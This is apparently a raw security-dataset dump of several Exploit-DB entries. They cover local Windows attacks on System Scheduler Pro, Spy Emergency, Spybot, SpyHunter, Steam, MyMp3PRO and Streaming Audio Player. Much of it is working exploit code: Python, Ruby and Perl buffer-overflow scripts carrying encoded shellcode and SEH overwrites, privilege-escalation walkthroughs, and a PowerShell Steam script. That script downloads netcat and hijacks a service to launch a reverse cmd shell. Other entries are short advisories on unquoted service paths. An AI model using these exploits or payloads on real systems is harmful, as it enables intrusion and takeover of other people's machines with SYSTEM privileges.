deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45071
Description: Splinterware System Scheduler Pro 5.12 - Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2018-07-23
Author: bzyo

Exploit:
#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Splinterware System Scheduler Pro 5.12 - Local Buffer Overflow (SEH)
# Date: 07-21-18
# Vulnerable Software: System Scheduler Pro 5.12
# Vendor Homepage: https://www.splinterware.com
# Version: 5.12
# Software Link: https://www.splinterware.com/download/ssproeval.exe
# Tested Windows 7 SP1 x86
#
# 
#
# PoC
# 1. generate sysschedule512.txt, copy contents to clipboard
# 2. open application
# 3. select view, preferences and in the Startup/Logging tab
# 4. paste contents from clipboard to the logfile location field
# 5. exit preferences
# 6. create dummy task to open notepad.exe
# 7. run task, notepad opens
# 8. close notepad
# 9. pop-up window appears and application crashes



import struct

filename="sysschedule512.txt"

junk = "A"*55

#thx giuseppe d'amore for edb-id 28996; edited pop-up msg & encoded
#msfencode -e x86/alpha_mixed -i bzyo; size 287 
msg = ("\x89\xe5\xda\xc4\xd9\x75\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a" 
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59" 
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" 
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" 
"\x75\x4a\x49\x74\x71\x58\x52\x4c\x72\x30\x30\x52\x44\x6c" 
"\x4b\x75\x42\x4c\x4b\x62\x72\x34\x4c\x4e\x6b\x30\x52\x45" 
"\x4c\x6e\x6b\x73\x72\x56\x68\x6c\x4b\x64\x32\x31\x30\x6c" 
"\x4b\x66\x72\x4d\x50\x33\x4e\x66\x6c\x50\x33\x32\x55\x39" 
"\x62\x4f\x79\x6a\x67\x43\x33\x62\x58\x67\x4c\x6c\x4b\x56" 
"\x37\x33\x48\x66\x61\x4a\x62\x4e\x6b\x51\x6a\x77\x50\x55" 
"\x51\x49\x57\x66\x51\x58\x6d\x4e\x6b\x30\x34\x6c\x6f\x76" 
"\x61\x69\x56\x57\x35\x4d\x51\x67\x4e\x31\x56\x35\x31\x74" 
"\x34\x63\x51\x64\x35\x49\x62\x4f\x71\x43\x4e\x46\x68\x53" 
"\x75\x53\x48\x71\x79\x64\x34\x30\x75\x5a\x49\x6c\x4b\x30" 
"\x7a\x51\x34\x33\x31\x59\x57\x42\x46\x4c\x4b\x44\x6c\x50" 
"\x6f\x4e\x6b\x52\x5a\x45\x4c\x65\x51\x4b\x77\x6e\x6b\x71" 
"\x6c\x6e\x4f\x6b\x4c\x55\x51\x38\x47\x51\x78\x37\x51\x75" 
"\x71\x37\x51\x76\x61\x65\x38\x71\x52\x61\x4a\x43\x69\x50" 
"\x4f\x50\x68\x31\x30\x55\x71\x64\x61\x67\x51\x6d\x59\x48" 
"\x61\x6b\x4e\x73\x79\x66\x6b\x44\x71\x6b\x70\x66\x31\x50" 
"\x50\x49\x6f\x68\x57\x41\x41")

junk1 = "B"*56

#jmp back to As
jmp3 = "\xe9\x6f\xfe\xff\xff"

junk2= "C"*4

#jmp back after random 8 nulls added
jmp2 = "\xeb\xf5" 

junk3 = "C"*10

#jmp back before random 8 nulls added
jmp = "\xeb\xf2\xcc\xcc"

seh = struct.pack('<L',0x00413121)

buffer = junk + msg + junk1 + jmp3 + junk2 + jmp2 + junk3 + jmp + seh 
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

# Timeline
#---------------------------------------------------------------------
#05-02-18: Vendor notified of vulnerability
#05-03-18: Initial vendor response
#05-09-18: Issues resolved after some back and forth discussion
#07-20-18: New version released, 5.13, with issue fixed
#07-21-18: Submitted public disclosure
Exploit-DB #45072
Description: Splinterware System Scheduler Pro 5.12 - Privilege Escalation
Type: local
Platform: windows
Date: 2018-07-23
Author: bzyo

Exploit:
# Exploit Title: Splinterware System Scheduler Pro 5.12 - Privilege Escalation
# Exploit Author: bzyo
# Twitter: @bzyo_
# Date: 2018-07-21
# Vulnerable Software: System Scheduler Pro 5.12
# Vendor Homepage: https://www.splinterware.com
# Version: 5.12
# Tested Windows 7 SP1 x86
# CVE: N/A

# Description:
# Splinterware System Scheduler Pro 5.12 suffers from 
# Privilege Escalation due to insecure file permissions

# Prerequisites
# To successfully exploit this vulnerability, the System Scheduler service must already be installed.

# Details
# By default the Everyone group has the modify permission to System Schedule files as shown below.  
# With the service installed, a low privilege account is able to rename the WService.exe file located in 
# this same path and replace with a malicious file that would connect back to an attacking computer giving system level privileges 
# (nt authority\system) due to the service running as Local System.  While a low privilege user is unable to restart the service 
# through the application, the service is checked periodically triggering the execution of the malicious file.

C:\>icacls "c:\Program Files (x86)\SystemScheduler"
Everyone:(OI)(CI)(M)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)

C:\>sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WindowsScheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

		
# Proof of Concept
1. Login as regular user where Splinterware System Scheduler Pro 5.12 and the service are installed 
2. Create malicious .exe with same name 'wservice.exe' that can connect back to attacking machine
3. Download malicious .exe on victim machine, and setup listener on attacking machine
4. Rename original wservice.exe file to wservice.bak, and copy malicious file to location of original   
5. wait short amount of time and check attacking machine listener
6. connection back from victim machine successful, run whoami

nt authority\system
Exploit-DB #40550
Description: Spy Emergency 23.0.205 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-17
Author: Amir.ght

Exploit:
#########################################################################
# Exploit Title: Spy Emergency Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.spy-emergency.com/
# Software Link: http://www.spy-emergency.com/download/download.php?id=1
#version : build 23.0.205  (Latest)
# Tested on: Windows 7
##########################################################################

Spy Emergency installs two service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc SpyEmrgHealth
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SpyEmrgHealth
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Spy
Emergency\SpyEmergencyHealth.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Spy Emergency Health Check
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
------------------------------------------------------------------
C:\>sc qc SpyEmrgSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SpyEmrgSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Spy
Emergency\SpyEmergencySrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Spy Emergency Engine Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #49997
Description: Spy Emergency 25.0.650 - 'Multiple' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-14
Author: Erick Galindo

Exploit:
# Exploit Title: Spy Emergency 25.0.650 -  Unquoted Service Path
# Discovery by: Erick Galindo 
# Discovery Date: 2021-06-11
# Vendor Homepage: https://www.spy-emergency.com/
# Software Link: https://www.spy-emergency.com/download/download.php?id=1
# Tested Version: 25.0.650.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro  x64 es
# Step to discover Unquoted Service Path:

C:>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "SpyEmrg"| findstr /i /v """
Spy Emergency Health Check           SpyEmrgHealth        C:\Program Files\NETGATE\Spy Emergency\SpyEmergencyHealth.exe          Auto
Spy Emergency Engine Service           SpyEmrgSrv       C:\Program Files\NETGATE\Spy Emergency\SpyEmergencySrv.exe      Auto

# Service info
C:>sc qc "SpyEmrgHealth"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SpyEmrgHealth
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\NETGATE\Spy Emergency\SpyEmergencyHealth.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Spy Emergency Health Check
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

# Service info

C:\>sc qc "SpyEmrgSrv"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SpyEmrgSrv
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\NETGATE\Spy Emergency\SpyEmergencySrv.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Spy Emergency Engine Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #36417
Description: Spybot Search & Destroy 1.6.2 Security Center Service - Local Privilege Escalation
Type: local
Platform: windows
Date: 2015-03-17
Author: LiquidWorm

Exploit:

Spybot Search & Destroy 1.6.2 Security Center Service Privilege Escalation


Vendor: Safer-Networking Ltd.
Product web page: http://www.safer-networking.org
Affected version: 1.6.2

Summary: Spybot – Search & Destroy (S&D) is a spyware and adware removal
computer program compatible with Microsoft Windows 95 and later. It scans
the computer hard disk and/or RAM for malicious software.

Desc: The application suffers from an unquoted search path issue impacting
the service 'SBSDWSCService' for Windows deployed as part of Spybot S&D.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system. A
successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user’s code would execute with the elevated privileges
of the application.

Tested on: Microsoft Windows Ultimate 7 SP1 (EN)


Vulnerability discovered by Aljaz Ceru
                            aljaz@insec.si


Advisory ID: ZSL-2015-5237
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5237.php


17.02.2015

---


C:\Users\user>sc qc SBSDWSCService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SBSDWSCService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Spybot - Search & Destroy\SDWinSec.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : SBSD Security Center Service
        DEPENDENCIES       : wscsvc
        SERVICE_START_NAME : LocalSystem

C:\Users\user>
Exploit-DB #48172
Description: SpyHunter 4 - 'SpyHunter 4 Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-03-06
Author: Alejandro Reyes

Exploit:
# Exploit Title: SpyHunter 4 - 'SpyHunter 4 Service' Unquoted Service Path
# Discovery by: Alejandro Reyes
# Discovery Date: 2020-03-05
# Vendor Homepage: https://www.enigmasoftware.com
# Software Link : https://www.enigmasoftware.com/spyhunter-download-instructions/
# Tested Version: 4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "SpyHunter" | findstr /i /v """

SpyHunter 4 Service    SpyHunter 4 Service          C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe                                                                                                                                                                                                                   Auto

# Service info:

C:\>sc qc "IsAppService"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SpyHunter 4 Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe
        LOAD_ORDER_GROUP   : Base
        TAG                : 0
        DISPLAY_NAME       : SpyHunter 4 Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:
# A successful attempt would require the local user to be able to insert their code in the 
# system root path undetected by the OS or other security applications where it could 
# potentially be executed during application startup or reboot. If successful, the local 
# user's code would execute with the elevated privileges of the application.
Exploit-DB #9386
Description: Steam 54/894 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2009-08-07
Author: MrDoug

Exploit:
Steam (Multiple .exe's) Local Privilage Escalation

By:
 MrDoug
 mrdoug13[at]gmail[dot]com

Version Info:
 Steam windows client
 Built: Jun 30 2009, at 13:29:32
 Steam API: v008
 Steam Package versions: 54/894

Greetz:
 Slappywag, Doomchip, Bolo, Eliwood, and the rest.

Special Thanks:
 Jeremy Brown and Nine:Situations:Group...
 Their work led me to this.

==================================================

The latest Steam client, (and other Steam related executables)
suffer the same privilage escelation issue we saw in Adobe Acrobat NOS
the other day (http://milw0rm.com/exploits/9199).  This is particularly
bad becuase, by default, Steam starts atomaticly.  That means that as
soon as an administrator logs in... game over.

==================================================

POC:

C:\>cacls "C:\Program Files\Steam\Steam.exe"
C:\Program Files\Steam\Steam.exe BUILTIN\Users:F  <-- (Danger Will Robinson!!)
                                 BUILTIN\Power Users:C
                                 BUILTIN\Administrators:F
                                 NT AUTHORITY\SYSTEM:F

The executables listed below are also vulnerable, as well as many, MANY
more that I have not mentioned.  See for yourself.

%programfiles%\Steam\uninstall_css.exe
%programfiles%\Steam\Unwise32.exe
%programfiles%\Steam\GameOverlayUI.exe
%programfiles%\Steam\uninstall_steam.exe
%programfiles%\Steam\WriteMiniDump.exe
%programfiles%\Steam\bin\SteamService.exe

--The following are dependant on what games are installed.

%programfiles%\Steam\common\audiosurf\Audiosurf.exe
%programfiles%\Steam\common\audiosurf\testapp.exe
%programfiles%\Steam\common\audiosurf\engine\QuestViewer.exe
%programfiles%\Steam\common\left 4 dead\left4dead.exe
%programfiles%\Steam\steamapps\[username]\counter-strike source\hl2.exe
%programfiles%\Steam\steamapps\[username]\half-life 2\hl2.exe
%programfiles%\Steam\steamapps\[username]\garrysmod\hl2.exe

...etc...etc...etc...

There are probably 100 more, just look around.  I am yet to see an
executable in the Steam directory with propor permissions.

==================================================

Exploit:

So simple... write it yourself you silly goose :3

# milw0rm.com [2009-08-07]
Exploit-DB #47238
Description: Steam Windows Client - Local Privilege Escalation
Type: local
Platform: windows
Date: 2019-08-12
Author: AbsoZed

Exploit:
$SteamRegKey = "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS"
$MSIRegKey = "HKLM:\SYSTEM\CurrentControlSet\Services\msiserver" 
$RegDir = "C:\Windows\Temp\RegLN.exe"
$PayDir = "C:\Windows\Temp\payload.exe"
$Payload = "c:\windows\system32\cmd.exe /c c:\windows\temp\payload.exe 127.0.0.1 4444 -e cmd.exe"
$PayDownload = "https://raw.githubusercontent.com/AbsoZed/SteamPrivEsc/master/nc.exe"
$RegDownload = "https://raw.githubusercontent.com/AbsoZed/SteamPrivEsc/master/RegLN.exe"
$WebClient = New-Object System.Net.WebClient


If(!((Test-Path -Path $RegDir) -And (Test-Path -Path $PayDir)))
{
$WebClient.DownloadFile($PayDownload, $PayDir)
$WebClient.DownloadFile($RegDownload, $RegDir)
}

If(Get-ItemProperty -Path $SteamRegKey -Name ImagePath -ErrorAction SilentlyContinue)
{
Start-Service -DisplayName "Steam Client Service"
Set-ItemProperty -Path $MSIRegKey -Name "ImagePath" -Value $Payload
Start-Service -Name "msiserver"
}
Else
{
Remove-Item -Path $SteamRegKey -Recurse
Start-Process -FilePath $RegDir -ArgumentList "HKLM\Software\Wow6432Node\Valve\Steam\NSIS HKLM\SYSTEM\CurrentControlSet\Services\msiserver"
Start-Service -DisplayName "Steam Client Service"
Set-ItemProperty -Path $MSIRegKey -Name "ImagePath" -Value $Payload
Start-Service -Name "msiserver"
}
Exploit-DB #30032
Description: Steinberg MyMp3PRO 5.0 - Local Buffer Overflow (SEH) (DEP Bypass + ROP)
Type: local
Platform: windows
Date: 2013-12-04
Author: metacom

Exploit:
#!/usr/bin/ruby
print '''
         
        Steinberg MyMp3PRO v5.0 Buffer Overflow
        Version: 5.0 Build 5.1.0.21
        Date found: 04.12.2013
        Exploit Author: metacom
        Tested on:XP-Sp3-EN
'''
sleep(3)
junk="\x41" * 1044
eip=[0x7C86467B].pack('V')#7C86467B  FFE4 JMP ESP kernel32.dll
nops="\x90" * 100 # landing zone
shellcode=("\xba\x50\x3e\xf5\xa5\xda\xd7\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"+
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x03\x30\x17\x50\x5f\xa4\x5e"+
"\x9b\x9f\x35\x01\x15\x7a\x04\x13\x41\x0f\x35\xa3\x01\x5d\xb6"+
"\x48\x47\x75\x4d\x3c\x40\x7a\xe6\x8b\xb6\xb5\xf7\x3d\x77\x19"+
"\x3b\x5f\x0b\x63\x68\xbf\x32\xac\x7d\xbe\x73\xd0\x8e\x92\x2c"+
"\x9f\x3d\x03\x58\xdd\xfd\x22\x8e\x6a\xbd\x5c\xab\xac\x4a\xd7"+ # Calc
"\xb2\xfc\xe3\x6c\xfc\xe4\x88\x2b\xdd\x15\x5c\x28\x21\x5c\xe9"+ # \x00\x0a\x0d
"\x9b\xd1\x5f\x3b\xd2\x1a\x6e\x03\xb9\x24\x5f\x8e\xc3\x61\x67"+
"\x71\xb6\x99\x94\x0c\xc1\x59\xe7\xca\x44\x7c\x4f\x98\xff\xa4"+
"\x6e\x4d\x99\x2f\x7c\x3a\xed\x68\x60\xbd\x22\x03\x9c\x36\xc5"+
"\xc4\x15\x0c\xe2\xc0\x7e\xd6\x8b\x51\xda\xb9\xb4\x82\x82\x66"+
"\x11\xc8\x20\x72\x23\x93\x2e\x85\xa1\xa9\x17\x85\xb9\xb1\x37"+
"\xee\x88\x3a\xd8\x69\x15\xe9\x9d\x86\x5f\xb0\xb7\x0e\x06\x20"+
"\x8a\x52\xb9\x9e\xc8\x6a\x3a\x2b\xb0\x88\x22\x5e\xb5\xd5\xe4"+
"\xb2\xc7\x46\x81\xb4\x74\x66\x80\xd6\x1b\xf4\x48\x37\xbe\x7c"+
"\xea\x47")
buffer=junk + eip + nops + shellcode
File.open('BOF_Steinberg_MyMp3PRO_v5.m3u', 'w') do |bug|  
bug.puts (buffer)
bug.close()
end
Exploit-DB #9215
Description: Streaming Audio Player 0.9 - 'skin' Local Stack Overflow (SEH)
Type: local
Platform: windows
Date: 2009-07-20
Author: SkuLL-HackeR

Exploit:
# *+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*
# }{ SkuLL-HacKeR }{
# *+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*+Â°.*

#!/usr/bin/perl
#[+] Streaming Audio Player 0.9 (skin) Local Stack Overflow (SEH)
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37".
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46".
"\x4e\x36\x43\x46\x42\x50\x5a";
my $junk  = "\x41" x 236;
my $nseh   = "\xEB\x06\x90\x90";
my $seh   = "\xB8\x15\xD1\x72";
my $junk2   = "\x90" x 2000;
open(myfile,'>>UI.TXT');
print myfile $junk.$nseh.$seh.$shellcode.$junk2;

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
                               # Author : SkuLL-HacKeR
                          # Home : www.Skull-hackeR.NeT
                   # GreetZ : PrOF.SELLiM , ThE X-HaCkEr , Amine-vb  # : Str0ke
                   #  Contact : SkuLL--HacKeR@HotmaiL.CoM
 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
#  END..
# Â° * Â° * Â° * Â° * Â° * Â° * Â° * Â° * Â° * Â° * Â° * Â° * Â° * Â° * Â° * Â° * Â° * Â° *

# milw0rm.com [2009-07-20]